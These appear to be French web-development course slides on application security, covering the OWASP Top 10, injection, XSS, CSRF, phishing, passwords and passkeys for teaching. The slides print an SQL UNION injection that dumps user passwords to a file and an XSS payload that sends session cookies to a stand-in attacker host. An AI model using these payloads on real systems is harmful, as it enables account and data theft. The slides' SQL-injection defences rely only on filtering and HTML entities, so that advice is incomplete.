Développement web il3

Risques applicatifs des app web

Risque

• Faille ou bug permettant d’altérer le fonctionnement
• Un attaquant pourra :
  • Modifier le fonctionnement
  • Accéder ou modifier les données
• Présence possible à tous les niveaux d’un système
  • Application
  • Serveur et Client
  • OS
  • SGBD, …
• Responsabilité des développeurs :
  • OS, serveurs, langages : patches rapidement disponibles
  • nos applications : c’est nous qui en sommes responsables

OWASP

• Open Web Application Security Project
• Fondation pour améliorer la sécurité des webapps
• Fondée en 2004, internationale, sans but lucratif
• Référence principale dans le domaine
• Propose :
  • Top 10 (web et mobile) tous les 4 ans : Méthode, CVSS, CWE
  • Grande communauté d’experts
  • Formation, documentation et ressources
  • Outils d’audit, de tests et de formation (ex: Juice Shop)
  • Cheat Sheets (yc pour CICD, Ajax, Laravel, Django,… ;)

Top 10 OWASP 2021 (fr - historique)

1. Contrôle d’accès défaillants
2. Défaillances cryptographiques
3. Injections
4. Conception non sécurisée
5. Mauvaise configuration de sécurité
6. Composants vulnérables et obsolètes
7. Identification & Authentification de mauvaise qualité
8. Manque d’intégrité des données et du logiciel
9. Carences des systèmes de contrôle et de journalisation
10. Falsification de requêtes côté serveur

• Non exhaustif : ex. : risques liés à Node JS

Injection de code

• Données mal validées : possibilité d’exécuter du code
• Passées par requêtes :
  • formulaires
  • URL
  • …
• Type de code injectable : TOUS !
  • HTML
  • SQL
  • Javascript
  • …

Injections SQL

• Modifier les requêtes envoyées au SGBD
• Obtention d’un résultat non prévu par le développeur
• Deviner la structure du code pour l’exploiter
• SQL est puissant : UNION, INTO DUMPFILE, …

Exemples

SELECT titre, num FROM livres WHERE num=2 UNION
SELECT login, password FROM user INTO DUMPFILE 'www/exploit.txt'

Eviter les injections SQL

• N’accepter que des caractères valides
• A défaut, neutraliser les caractères dangereux
• Utiliser les entités HTML
• Vérifications strictes dans le code
• Eviter les noms prévisibles pour une appli critique

Cross Site Scripting (XSS)

• Injection de code (html et script)
• Exécution par le navigateur du client

Cross Site Scripting (XSS)

• Enjeux : tout ce qui est possible en JS
  • Redirection
  • Lecture de cookies (session, …)
  • Envoi d’info à un autre serveur
  • Modification du contenu de la page
  • …
• Souvent utilisé pour transmettre le cookie de session

<img src="http://www.urlinexistante.com/im.jpg"
     onerror="window.location='http://www.pirate.com/recupcookie.jsp?
     cookie='+document.cookie';">

3 types de XSS

• Reflected XSS
  • Affichage d’une partie de la requête (recherche, erreur, …)
• Stored XSS
  • Stockage dans la BDD et affichage (= exécution) par plusieurs clients
• DOM based XSS
  • Exécutée lors de la modification du DOM (Exemple)

Cross Site Request Forgery (CSRF - Sea Surf)

• Principe :
  • Faire réaliser à quelqu’un une action à son insu, avec ses propres infos d’authentification (credentials)
• Envoi par mail ou post forum de liens ou images
• Les URL correspondent à actions (vote, suppression, …)

Exemple (SOP, CORS)

Phishing

• Site sosie d’un site officiel :
  1. L’utilisateur saisit ses données…
  2. … l’attaquant les récupère…
  3. … et les utilise sur le site officiel
• Difficile à contrer pour le développeur
• L’utilisateur doit être prudent
• Bien lire les URLS et le GUI du navigateur pas toujours suffisant
• Ne pas utiliser de lien dont on n’est pas sur de la source (Homograph Attack, Homoglyphes, Unicode Spoofing)

Risques non liés à l’application

• IoT : souvent mal sécurisé (shodan.io)
• DoS
• Spoofing (IP, DNS, ARP)
• Buffer Overflows (surtout en C)
• Trojans, backdoors
• Usurpation de mots de passe : dictionnaire, force brute
• SOCIAL ENGINEERING !!!

Authentification

• Identification : annoncer qui on est
• Authentification : prouver qu’on est la personne qu’on prétend être :
  1. Avec quelque chose que l’on sait (PIN, mot de passe)
  2. Avec quelque chose que l’on possède (téléphone, token, …)
  3. Avec quelque chose que l’on est (biométrie)
• La sécurité augmente si on combine ces facteurs
• Important de prendre en compte l’utilisabilité

Top 500 passwords cloud

Mots de passe

• 30% of users have a password from the top 10’000 (source)
• Our passwords habits revealed
• xkcd’s password strength
• 2017 : NIST 800-63-3 suivi par la NCSC
  • Mots de passe longs plutôt qu’avec des caractères spéciaux
  • Ne forcer le changement qu’en cas de nécessité
  • Autoriser et accompagner l’utilisation de password managers
  • Utiliser la 2FA
• Plusieurs tentatives pour s’en affranchir :
  • Microsoft, passwordless authentication
  • 2022 : Passkeys : JS API WebAuthN + CTAP/U2F

Passkeys

• Paire de clés asymétriques au lieu d’un mot de passe
• Initiative de l’alliance FIDO
• Fin 2022 : intégrée à Android, iOS, win11 et MacOS
• Résolution de challenges : pas d’info sensible sur le réseau
• 3 acteurs :
  • User Agent : Humain / Navigateur
  • Relying Party : Serveur (service auquel on veut s’authentifier)
  • Authenticator : Clef USB / Smartphone / OS + biométrie
• Communication :
  • User Agent <=> Authenticator : CTAP / U2F
  • User Agent <=> Relying Party : API JS WebAuthn

Passkeys : Acteurs

Passkeys : Enregistrement

Passkeys : Authentification

Collecte d’information

• Toute information est bonne pour l’attaquant
  • Messages d’erreur
  • Configuration OS serveur
  • Configuration serveurs (http, sql, php, …)
  • Identifiants et commentaires dans sources -au cas où-
  • SOCIAL ENGINEERING !
• Le développeur doit laisser filter un minimum d’info !
• Utilisée aussi par les “white hats” (ethical hackers) : Honeypots

Bonnes pratiques

• Configuration stricte du serveur
• Valider toutes les entrées (formulaires, requêtes HTTP)
• Filtrage/encodage de toutes les entrées en entités HTML
• Ne jamais afficher directement une saisie de formulaire
  • Ni aucune donnée transmise par HTTP avant de l’avoir filtrée !
• Tester ses formulaires avec des expressions à risques
• Contrôler le maximum de paramètres (même si redondant) :
  • Session, IP, user agent, proxy, …
• Utiliser un framework
  • ces bonnes pratiques sont déjà implémentées
• Suites et logiciels de test

Références

• Référence
  • OWASP, webinar fr 2016
  • WebAuthn : w3c, MDN
• Exemples, explications
  • Présentation XSS et CSRF en français
  • Protection CSRF en français
• Utilitaires, tutos, exercices
  • Juice Shop
  • Web Goat
  • Google-Gruyere

Sources